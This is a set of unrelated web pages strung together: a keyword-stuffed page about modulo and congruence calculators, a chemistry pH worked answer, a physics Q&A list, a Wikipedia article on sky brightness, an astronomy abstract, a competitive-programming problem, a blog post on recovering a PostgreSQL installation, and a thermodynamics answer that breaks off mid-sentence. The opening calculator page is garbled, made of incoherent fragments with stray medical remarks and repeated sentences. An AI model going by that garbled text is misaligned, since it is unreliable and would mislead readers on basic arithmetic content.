n. Step 2: Click the blue arrow to submit and see your result!. With the Division Calculator you can carry out exact divisions or divisions with a remainder. As in arithmetic, division is checked by multiplication. Step 2 Determine the moles of each element. The % operator in C is not the modulo operator but the remainder operator. Modular Exponentiation and Successive Squaring Calculator-- Enter Modular Exponentiation. What is the remainder for (2x^2 - 5x - 1) / (x - 3)?. If y completely divides x, the result of the expression is 0. The value of { - 1}, when raised to some power, will simply alternate either to positive 1 or negative 1. Modulo is represented as "%". Modulo Calculator - Symbolab › Search The Best Online Courses at www. Well, you unfold the question of what is modulo; now get ready to know about modulo. a mod 1 is always 0; a mod 0 is undefined; Divisor (b) must be positive. (9D is remainder) The quotient is the number multiplied by the divisor in step 1 and 4. Polynomial Operations. See all calculation steps. Assign each of the values found in each iteration of Step 2 to its respective place value to determine the hex value. Jacobi's Method Calculator/Simulation. The modulo calculation is of keen interest to researchers due to its. This Modular Multiplicative Inverse calculator can handle big numbers, with any number of digits, as long as they are positive integers. Posted: (1 week ago) Find modulo of a division operation between two numbers. It is used like this: Sigma is fun to use, and can do many clever things. Prednisone And Urine Odor. Now, consider that x is the function for f (y) Then reverse the variables y and x, then the resulting function will be x and. Enter $$2,3$$ in the text field, click Add Congruence. Please use at your own risk, and please alert us if something isn't working. 12 th step: Subtract the result of the 11 step from the number above it and this is the step where you get the remainder and the quotient. The first answer digit in the quotient is shown in the long division. The interface is specifically optimized for mobile phones and small screens. RSA Calculator. Lagrange Remainder Calculator. Note that we round the answer if necessary, but don't worry, the final answer will still be exact. So, now let's see how equivalence classes help us determine congruence. Modulo is a term of arithmetic. Golf Instruction - What is essential to the swing and what is merely a matter of style? A p. See all calculation steps. Free Modulo calculator - find modulo of a division operation between two numbers step by step This website uses cookies to ensure you get the best experience. a is a remainder (modulo), when b is divided by n. ; Learn from detailed step-by-step explanations Get walked through each step of the solution to know exactly what path gets you to the right answer. Try typing these expressions into the calculator, click the blue arrow, and select "Factor" to see a demonstration. 666666666667)) r = 8 - (-3 * -2) # Rounded toward 0 r = 8 - 6 r = 2 Here you can see how a language like JavaScript gets the remainder 2. a mod 1 is always 0; a mod 0 is undefined; Divisor (b) must be positive. ) Now, unless gcd ( a, m) evenly divides b there won't be any solutions to the linear congruence. It can add, subtract, multiply, and divide binary numbers very easily. In this version of the discrete logarithm calculator only the Pohlig-Hellman algorithm is implemented, so the execution time is proportional to the square root of the largest prime factor of the modulus minus 1. The CU is the basic unit for regi. Excel: calculate modulus of a very large number without getting overflow error. There is no point in going through the stress of performing the conversion manually. The modulo operation returns the remainder in division of 2 positive or negative numbers or decimals. There are lots of reasons why you would want to use modulo, including checking if a number is even or odd, counting something for a certain amount of times, and even a common clock in your house will be using modulo to tell the time. If you are searching for Congruence Modulo Calculator With Steps, simply cheking out our links below : Recent Posts. Use modulo operation % to get the remainders. It requires that the denominator is nonzero and so we will make this assumption for the remainder of the section. Given the expression (a mod n), set up the equation a = n * q + r. Here you need to know the terms "extremes" and "means". Details: How Our Mod Calculator Works: Determining a modulo It lets you calculate the mod by taking dividend (a) and divisor (b) as input. How to calculate ab mod n. Free and fast online Modular Multiplicative Inverse calculator that solves a, such that such that ax ≡ 1 (mod m). Here are the steps which have been performed in the above question. Enter a mod b statement ≡ (mod ) Congruence Modulo n Video. All you have got to do is enter the initial number x and integer y in our calculator to determine the modulo number r. Step 2 Determine the moles of each element. Though if it does, our first solution is given by. Understanding the steps of calculation. com Show All Course. Subtract that value from the given number. We'll call them the modulo method and the modulus method. Putting $$a_1 = 1$$ and $$a_2 = 2,$$ and plugging in the key auxiliary values derived by the calculator:. [With a calculator: 1398 ÷ 324 = 4. WriteLine ( 5 % 3 ); // When 1000 is divided by 90. Use this mod / modulo calculator to perform the mod operation and find the remainder of the division with ease. With the long division calculator you can easily check out whether the answers of your math problems are correct. You will use this list in Step 2. If n is a positive integer then integers a and b are congruent modulo n if they have the same remainder when divided by n. Please input the dividend and divisor. Within this formal definition, the modulo expression can be solved: (a mod n) = r. The algorithm works by diagonalizing 2x2 submatrices of the parent matrix until the sum of the non diagonal elements of the parent matrix is close to zero. Domain is R5, codomain is R4. About Modulo Calculator. Here, we have two ratios and one of them has an unknown value "x". The value of { - 1}, when raised to some power, will simply alternate either to positive 1 or negative 1. For instance, the expression "7 mod 5" would evaluate. All you have got to do is enter the initial number x and integer y in our calculator to determine the modulo number r. ) Now, unless gcd ( a, m) evenly divides b there won't be any solutions to the linear congruence. Step 2) Next we take the Whole part of the answer in Step 1. Modulo calculator finds a mod b, the remainder when a is divided by b. 177 / 7 = 25. To help you understand the remainder theorem concept we have listed everything in detail step by step. Enter two numbers, with the first number a being the dividend while the second smaller number n is the divisor. using System; class Program { static void Main () { // When 5 is divided by 3, the remainder is 2. This calculator gets two inputs dividend and divisor and then calculate and show result step by step. This tool will then conduct a modulo operation to tell you how many times the second number is divisible into the first number & find the remainder after division is complete. Build your own widget. Step 2: Now click the button "Solve " to get the remainder. You might also like to read the more advanced topic Partial Sums. Algebra Example. Long multiplication calculator with step by step work for 3rd grade, 4th grade, 5th grade and 6th grade students to verify the results of long multiplication problems. How do you calculate mod without a calculator? A mod calculator is also known as a modular arithmetic calculator, a modular division calculator or a div calculator. If you're seeing this message, it means we're having trouble loading external resources on our website. We continue to step 2. Therefore, A has no modular inverse (mod 6). To try out Jacobi's Algorithm, enter a. Congruence Modulo — Examples. 5 modulo 3 When 5 is divided by 3, we have 2 left over—only one 3 can be part of 5. Mod calculator with steps. Use modulo operation % to get the remainders. On calculators, modulo is often calculated using the mod () function: mod (a, b) = r. The free tool below will allow you to calculate the summation of an expression. Comment down if you want any other such hacks. The modulo result is 2. org are unblocked. Euclid's Algorithm Calculator. Now you need to count how many numbers are there in the row: it's 6. Quotient and remainder calculator. With a remainder operator, the sign of the result is the same as the sign of the dividend (numerator) while with a modulo operator the sign of the result is the same as the divisor (denominator). Here, we have two ratios and one of them has an unknown value "x". To calculate modulo using inverse modulo calculator, follow the below steps: Enter the. It's not a difficult task to calculate the modulo by hand. Within this formal definition, the modulo expression can be solved: (a mod n) = r. You might also like to read the more advanced topic Partial Sums. Practice using the modulo operator. So, now let's see how equivalence classes help us determine congruence. Congruence Modulo Calculator With Steps. The GCD calculator allows you to quickly find the greatest common divisor of a set of numbers. If you are not founding for Congruence Modulo Calculator With Steps, simply found out our info below : Recent Posts. DECIMAL TO BINARY CONVERTER (WITH STEPS) Enter a number. discrete-mathematics modular-arithmetic. Write the remainder after subtracting the bottom number from the top number. Prednisone And Urine Odor I had green semen when I had prostatitis. Hex converter which supports conversion of a hexadecimal number to a decimal real number, or from a decimal to a hex number, as well as hex to binary and binary to hex. List of all factors of 40 that divides with zero remainder are 1,2,4,5,8,10,20,40. Posted: (1 week ago) Find modulo of a division operation between two numbers. PowerMod Calculator (with steps) - GCD: Step by step using the Euclidean Algorithm and the possibility to express it with Bezout Identity. congruence equation calculator with steps. It is a remainder theorem calculator that calculates the remainder and quotient in the process of division. Congruence Modulo — Examples. Lagrange Remainder Calculator. Therefore, A has no modular inverse (mod 6).
2021-11-28 08:18:51
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7006253004074097, "perplexity": 630.3542285708029}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964358480.10/warc/CC-MAIN-20211128073830-20211128103830-00469.warc.gz"}
https://www.gradesaver.com/textbooks/science/chemistry/chemistry-and-chemical-reactivity-9th-edition/chapter-16-principles-of-chemical-reactivity-the-chemistry-of-acids-and-bases-study-questions-page-629f/96
Chemistry and Chemical Reactivity (9th Edition) $pH=2.57$ Initial molarity: $94.5/1000\ g\div 94.50\ g/mol\div 125/1000\ L=0.008\ M$ $K_a=x\cdot x/(0.008-x)$ $x=[H_3O^+]=0.0027\ M$ $pH=2.57$
2019-08-25 01:41:20
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9269315004348755, "perplexity": 4996.205615609183}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-35/segments/1566027322160.92/warc/CC-MAIN-20190825000550-20190825022550-00297.warc.gz"}
https://physics.stackexchange.com/questions/linked/18088
287 views ### Accidental degeneracy in Hydrogen Energies [duplicate] The energy of Hydrogen electron ground state should depend on $n$ and $\ell$, but it only depends on $n$. What is the reason behind this accidental degeneracy; I know that the reason lies in symmetry; ... 44 views ### What symmetry operation mixes states with different $\ell$ in hydrogen atom? [duplicate] We can mix states with different $m$ in hydrogen atom by rotating it around some axis (not coinciding with $z$). Thus rotation is the symmetry operation which mixes states with different $m$. As ... 3k views ### Is there a kind of Noether's theorem for the Hamiltonian formalism? The original Noether's theorem assumes a Lagrangian formulation. Is there a kind of Noether's theorem for the Hamiltonian formalism? 4k views ### Invariance of Lagrangian in Noether's theorem Often in textbooks Noether's theorem is stated with the assumption that the Lagrangian needs to be invariant $\delta L=0$. However, given a lagrangian $L$, we know that the Lagrangians $\alpha L$ (... 5k views ### Show that the Laplace-Runge-Lenz vector is conserved using poisson brackets (I realise similar Phys.SE questions already exist but there is no answer with the Poisson bracket notation, I'll take this down if someone lets me know I should have commented in the existing ... 439 views ### Physical implication of conservation of Laplace-Runge-Lenz vector I'm having trouble wrapping my mind around the Laplace-Runge-Lenz vector. Conservation of momentum can be visualized as an object moving in a straight line with constant speed. One can even visualize ... 129 views ### What operator lowers the total angular momentum? Assume states $|j,m\rangle$, say $j\in\{3,2,1,0\}$, initially at $3$. Is there any "lowering" operator I could apply such that $L_-|j,m\rangle = |j-1,m\rangle$? How to express it in the $J_z$ ... 582 views ### Showing The Laplace–Runge–Lenz vector (per unit mass) is constant Given an inverse square law $\ddot{\vec{r}}=-\frac{\mu}{r^2}\hat{r}$, I define the Angular momentum per unit mass as $\vec{H}=\vec{r}\times\dot{\vec{r}}$. Showing it's constant is strightfoward. Then ... 261 views ### Feynman's Lost Lecture: what is the significance of $\frac{d\mathfrak{v}}{d\theta}=-\frac{GMm}{\left|\mathfrak{L}\right|}\hat{\mathfrak{r}}?$ My question pertains to a fact used by Richard Feynman in his so-called Lost Lecture. http://books.wwnorton.com/books/Feynmans-Lost-Lecture/. I have only skimmed the book, so I have much more to learn ... ### Why are some symmetries invisible to the configuration space Lagrangian $L(q, \dot q,t)$? Usually, when people talk about Lagrangians they are talking about a function of configuration space variables $q_i$ and their time derivatives $\dot q_i$. This is a function $L = L(q_i, \dot q_i,t)$. ... I have been trying to understand the Legendre transformation (in mechanics, in the hyperregular case: when the Legendre transformation is one-to-one) and the correspondence between symmetry $\to$ ...
2020-04-01 09:27:35
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9700819849967957, "perplexity": 522.8612800465559}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585370505550.17/warc/CC-MAIN-20200401065031-20200401095031-00205.warc.gz"}
https://en.wikipedia.org/wiki/Sky_brightness
Sky brightness Airglow made visible from aboard the ISS Sky brightness refers to the visual perception of the sky and how it scatters and diffuses light. The fact that the sky is not completely dark at night is easily visible. If light sources (e.g. the Moon and light pollution) were removed from the night sky, only direct starlight would be visible. The sky's brightness varies greatly over the day, and the primary cause differs as well. During daytime, when the Sun is above the horizon, the direct scattering of sunlight is the overwhelmingly dominant source of light. During twilight (the duration after sunset or before sunrise until or since, respectively, the full darkness of night), the situation is more complicated, and a further differentiation is required. Twilight (both dusk and dawn) is divided into three 6° segments that mark the Sun's position below the horizon. At civil twilight, the center of the Sun's disk appears to be between 1/4° and 6° below the horizon. At nautical twilight, the Sun's altitude is between –6° and –12°. At astronomical twilight, the Sun is between –12° and –18°. When the Sun's depth is more than 18°, the sky generally attains its maximum darkness. Sources of the night sky's intrinsic brightness include airglow, indirect scattering of sunlight, scattering of starlight, and light pollution.[1] Airglow When physicist Anders Ångström examined the spectrum of the aurora borealis, he discovered that even on nights when the aurora was absent, its characteristic green line was still present. It was not until the 1920s that scientists were beginning to identify and understand the emission lines in aurorae and of the sky itself, and what was causing them. The green line Angstrom observed is in fact an emission line with a wavelength of 557.7 nm, caused by the recombination of oxygen in the upper atmosphere. Airglow is the collective name of the various processes in the upper atmosphere that result in the emission of photons, with the driving force being primarily UV radiation from the Sun. Several emission lines are dominant: a green line from oxygen at 557.7 nm, a yellow doublet from sodium at 589.0 and 589.6 nm, and red lines from oxygen at 630.0 and 636.4 nm. The sodium emissions come from a thin sodium layer approximately 10 km thick at an altitude of 90–100 km, above the mesopause and in the D-layer of the ionosphere. The red oxygen lines originate at altitudes of about 300 km, in the F-layer. The green oxygen emissions are more spatially distributed. How sodium gets to mesospheric heights is not yet well understood, but it is believed to be a combination of upward transport of sea salt and meteoritic dust. In daytime, sodium and red oxygen emissions are dominant and roughly 1,000 times as bright as nighttime emissions because in daytime, the upper atmosphere is fully exposed to solar UV radiation. The effect is however not noticeable to the human eye, since the glare of directly scattered sunlight outshines and obscures it. Indirect scattering of sunlight Amount of air still illuminated after sunset, at the horizon. Normalized so that zenith is 1 airmass Indirectly scattered sunlight comes from two directions. From the atmosphere itself, and from outer space. In the first case, the sun has just set but still illuminates the upper atmosphere directly. Because the amount of scattered sunlight is proportional to the number of scatterers (i.e. air molecules) in the line of sight, the intensity of this light decreases rapidly as the sun drops further below the horizon and illuminates less of the atmosphere. When the sun's altitude is < -6° 99% of the atmosphere in zenith is in the Earth's shadow and second order scattering takes over. At the horizon, however, 35% of the atmosphere along the line of sight is still directly illuminated, and continues to be until the sun reaches -12°. From -12° to -18° only the uppermost parts of the atmosphere along the horizon, directly above the spot where the sun is, is still illuminated. After that, all direct illumination ceases and astronomical darkness sets in. A second source sunlight is the zodiacal light, which is caused by reflection and scattering of sunlight on interplanetary dust. Zodiacal light varies quite a lot in intensity depending on the position of the earth, location of the observer, time of year, and composition and distribution of the reflecting dust. Scattered light from extraterrestrial sources Not only sunlight is scattered by the molecules in the air. Starlight and the diffuse light of the Milky Way are also scattered by the air, and it is found that stars up to V magnitude 16 contribute to the diffuse scattered starlight. Other sources such as galaxies and nebulae don't contribute significantly. The total brightness of all the stars was first measured by Burns in 1899, with a calculated result that the total brightness reaching earth was equivalent to that of 2,000 first-magnitude stars [2] with subsequent measurements by others.[3] Light pollution Light pollution is an ever-increasing source of sky brightness in urbanized areas. In densely populated areas that do not have stringent light pollution control, the entire night sky is regularly 5 to 50 times brighter than it would be if all lights were switched off, and very often the influence of light pollution is far greater than natural sources (including moonlight). With urbanization and light pollution, one third of humanity, and the majority of those in developed countries, cannot see the Milky Way.[4] Twilight When the sun has just set, the brightness of the sky decreases rapidly, thereby enabling us to see the airglow that is caused from such high altitudes that they are still fully sunlit until the sun drops more than about 12° below the horizon. During this time, yellow emissions from the sodium layer and red emissions from the 630 nm oxygen lines are dominant, and contribute to the purplish color sometimes seen during civil and nautical twilight. After the sun has also set for these altitudes at the end of nautical twilight, the intensity of light emanating from earlier mentioned lines decreases, until the oxygen-green remains as the dominant source. When astronomical darkness has set in, the green 557.7 nm oxygen line is dominant, and atmospheric scattering of starlight occurs. Differential refraction causes different parts of the spectrum to dominate, producing a golden hour and a blue hour. Relative contributions The following table gives the relative and absolute contributions to night sky brightness at zenith on a perfectly dark night at middle latitudes without moonlight and in the absence of any light pollution. Night sky brightness Cause Surface brightness [S10] Percentage Airglow 145 65 Zodiacal light 60 27 Scattered starlight ~15 7 (The S10 unit is defined as the surface brightness of a star whose V-magnitude is 10 and whose light is smeared over one square degree, or 27.78 mag arcsec−2.) The total sky brightness in zenith is therefore ~220 S10 or 21.9 mag/arcsec² in the V-band. Note that the contributions from Airglow and Zodiacal light vary with the time of year, the solar cycle, and the observer's latitude roughly as follows: ${\displaystyle {\rm {Airglow}}/{\rm {S}}_{10}=145+108(S-0.8)}$ where S is the solar 10.7 cm flux in MJy, and various sinusoidally between 0.8 and 2.0 with the 11-year solar cycle, yielding an upper contribution of ~270 S10 at solar maximum. The intensity of zodiacal light depends on the ecliptic latitude and longitude of the point in the sky being observed relative to that of the sun. At ecliptic longitudes differing from the sun's by > 90 degrees, the relation is ${\displaystyle {\rm {ZodiacalLight}}/{\rm {S}}_{10}=140-90\sin(|\beta |)}$ where β is the ecliptic latitude and is smaller than 60°, when larger than 60 degrees the contribution is that given in the table. Along the ecliptic plane there are enhancements in the zodiacal light where it is much brighter near the sun and with a secondary maximum opposite the sun at 180 degrees longitude (the gegenschein). In extreme cases natural zenith sky brightness can be as high as ~21.0 mag/arcsec², roughly twice as bright as nominal conditions.
2021-10-20 23:41:26
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 2, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6405673623085022, "perplexity": 1519.4560176026118}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585353.52/warc/CC-MAIN-20211020214358-20211021004358-00087.warc.gz"}
https://usm.elsevierpure.com/en/publications/a-method-to-deconvolve-stellar-rotational-velocities-iii-the-prob
# A method to deconvolve stellar rotational velocities III. The probability distribution function via maximum likelihood utilizing finite distribution mixtures R. Orellana, P. Escárate, M. Curé, A. Christen, R. Carvajal, J. C. Agüero Research output: Contribution to journalArticle 1 Citation (Scopus) ### Abstract © ESO 2019 Aims. The study of accurate methods to estimate the distribution of stellar rotational velocities is important for understanding many aspects of stellar evolution. From such observations we obtain the projected rotational speed (v sin i) in order to recover the true distribution of the rotational velocity. To that end, we need to solve a difficult inverse problem that can be posed as a Fredholm integral of the first kind. Methods. In this work we have used a novel approach based on maximum likelihood (ML) estimation to obtain an approximation of the true rotational velocity probability density function (PDF) expressed as a sum of known distribution families. In our proposal, the measurements have been treated as random variables drawn from the projected rotational velocity PDF. We analyzed the case of Maxwellian sum approximation, where we estimated the parameters that define the sum of distributions. Results. The performance of the proposed method is analyzed using Monte Carlo simulations considering two theoretical cases for the PDF of the true rotational stellar velocities: (i) an unimodal Maxwellian probability density distribution and (ii) a bimodal Maxwellian probability density distribution. The results show that the proposed method yielded more accurate estimates in comparison with the Tikhonov regularization method, especially for small sample length (N = 50). Our proposal was evaluated using real data from three sets of measurements, and our findings were validated using three statistical tests. Conclusions. The ML approach with Maxwellian sum approximation is a accurate method to deconvolve the rotational velocity PDF, even when the sample length is small (N = 50). Original language English Astronomy and Astrophysics https://doi.org/10.1051/0004-6361/201833455 Published - 1 Jan 2019
2020-07-09 01:43:50
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8278635740280151, "perplexity": 608.8643997065311}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593655897844.44/warc/CC-MAIN-20200709002952-20200709032952-00519.warc.gz"}
https://codefreshers.com/insurance-solution-codechef/
# [Solution] Insurance solution codechef Insurance solution codechef – Chef bought car insurance. The policy of the insurance is: • The maximum rebatable amount for any damage is Rs X lakhs. • If the amount required for repairing the damage is \leq X lakhs, that amount is rebated in full. ## [Solution] Insurance solution codechef Chef’s car meets an accident and required Rs Y lakhs for repairing. Determine the amount that will be rebated by the insurance company. ### Input Format • The first line of input will contain a single integer T, denoting the number of test cases. • The first and only line of each test case contains two space-separated integers X and Y. ### Output Format For each test case, output the amount (in lakhs) that will be rebated by the insurance company. ## [Solution] Insurance solution codechef • 1 \leq T \leq 1000 • 1 \leq X, Y \leq 30 ### Sample 1: Input Output 4 5 3 5 8 4 4 15 12 3 5 4 12 ## [Solution] Insurance solution codechef Explanation: Test case 1: The damages require only Rs 3 lakh which is below the upper cap, so the entire Rs 3 lakh will be rebated. Test case 2: The damages require Rs 8 lakh which is above the upper cap, so only Rs 5 lakh will be rebated. Test case 3: The damages require only Rs 4 lakh which is equal to the upper cap, so the whole Rs 4 lakh will be rebated. Test case 4: The damages require Rs 15 lakh which is above the upper cap, so only Rs 12 lakh will be rebated.
2022-08-11 17:25:08
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8868426084518433, "perplexity": 2949.049327368805}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571483.70/warc/CC-MAIN-20220811164257-20220811194257-00226.warc.gz"}
http://devnull.absolventa.de/2017/01/16/upgrading-old-postgresql-with-homebrew/
Posted on January 16, 2017 by Carsten Zimmermann When my PostgreSQL installation didn’t come up after an unexpected reboot and showed errors about a missing libreadline.dylib (a familiar message after upgrading to macOS Sierra), I figured I could remedy it with a simple brew reinstall postgresql. Sadly, the PostgreSQL version Homebrew reinstalled was not the one that was already installed, but the most recent version it knew of. I may have cranked brew cleanup postgresql a tad bit too early 😱 and so I ended up with my 9.3 installation files already gone and only v9.6.1 available. Sadly, the old binaries are needed to access the old data format. The earliest PostgreSQL version Homebrew still had in stock was 9.4. I checked postgresql.org to see whether there were old source or binary distribution tarballs available. Indeed, it had a link pointing advanced users to a list of zip files containing binaries. With all tools prepared (and some cross-referencing) I could repair my broken installation (assuming the new pgsql is already installed): # Move the old data files out of the way mv /usr/local/var/postgres /usr/local/var/postgres93 # Since my computer previously crashed, I had a stale pid file rm /usr/local/var/postgres93/postmaster.pid # Create a new data dir for the most recent pgsql version initdb --pgdata=/usr/local/var/postgres # Migrate data files, pointing old-bindir to the location of # the extracted zip file
2017-09-19 11:28:23
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3369188606739044, "perplexity": 8466.14750262314}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818685129.23/warc/CC-MAIN-20170919112242-20170919132242-00159.warc.gz"}
http://physics.stackexchange.com/questions/21425/what-meaning-do-changes-in-the-absolute-value-of-gibbs-free-energy-have-in-a-sim/21531
# What meaning do changes in the absolute value of Gibbs free energy have in a simple expansion process? Below is a simple representation of the thermodynamics of a steam turbine. Stream kinetic and potential energy changes are neglected and no other type of non-PV work is done besides shaft work. Enthalpy and entropy are straight from the steam tables. Gibbs free energy is calculated using $G=H-TS$. Outlet pressure was arbitrarily chosen as 400 psig. Steam quality is 1.0 in both inlet and outlet conditions. What physical significance, if any, does the change in Gibbs free energy have? In this example, note that Gibbs free energy increases which seems counterintuitive for a supposedly spontaneous process. Indeed, if I use an isentropic efficiency of 0 in this model to represent a simple throttle valve, I get a decrease in Gibbs free energy to -798 Btu/lb which makes sense as a spontaneous process. I am familiar with the availability approach. I would just like to understand what significance the change in absolute values of Gibbs free energy have, if any. - The short answer is, it doesn't really mean much of anything, because it's not meaningful to compare the Gibbs free energy of two systems unless they're at the same temperature. To show you why, I'll quickly run you through the derivation of the Gibbs free energy and point out where the constant temperature assumption comes in. The second law of thermodynamics tells us that the total entropy of a system, plus the entropy of its surroundings, must be non-decreasing. I'll write this as $\Delta S_\text{total} = \Delta S + \Delta S_\text{surroundings} \ge 0$. Suppose we have a system (of any kind) in contact with an environment that remains at constant temperature and pressure. This system undergoes a process (of any kind) that changes its internal energy by $\Delta U$ (with positive sign meaning the system's energy increases) and its volume by $\Delta V$ (positive sign meaning it does work on the environment). We know that the system has done an amount of work $p\Delta V$ on the environment, so we can say that $\Delta U = Q - p\Delta V$, with $Q$ an amount of heat transferred from the surroundings to the system (or in the opposite direction if it's negative). Since the surroundings are at a constant temperature $T$, they must have lost an amount of entropy equal to $Q/T = \frac{\Delta U}{T} + \frac{p\Delta V}{T}$. So we have $$\Delta S_\text{total} = \Delta S - \frac{\Delta U}{T} - \frac{p\Delta V}{T}.\qquad\qquad(i)$$ This quantity, as we know from the second law, must always seek a maximum, as long as the temperature and pressure remain constant. Now, up to this point the assumption of constant temperature hasn't really been necessary. If we assume that $\Delta U$ etc. are small we can replace them with differentials to get $dS_\text{total} = dS - pdV/T - dU/T$, which we can integrate if we know how $p$ and $T$ depend on $U$ and $V$. However, for some completely weird and arbitrary reason, the tradition in physics is to multiply equation $(i)$ by $-T$ to get $$\Delta G \stackrel{\textit{def}}{=} -T\Delta S_\text{total} = \Delta U + p\Delta V - T\Delta S,$$ which must now be minimised because of the change of sign. I suppose this is done in order to put the quantity into energy units, which for some reason physicists and chemists are more comfortable with than entropy units. But it comes at a price - the transformation from maximising $\Delta S_\text{total}$ to minimising $-T\Delta S_\text{total}$ only works if $T$ is a constant, and if you violate this assumption then $\Delta G$ can either be positive or negative for a spontaneous process, so its sign no longer really means anything. To work out $\Delta S_\text{total}$ for your system you would have to integrate $dS_\text{total}$ as described above, and to do that you would have to know the heat 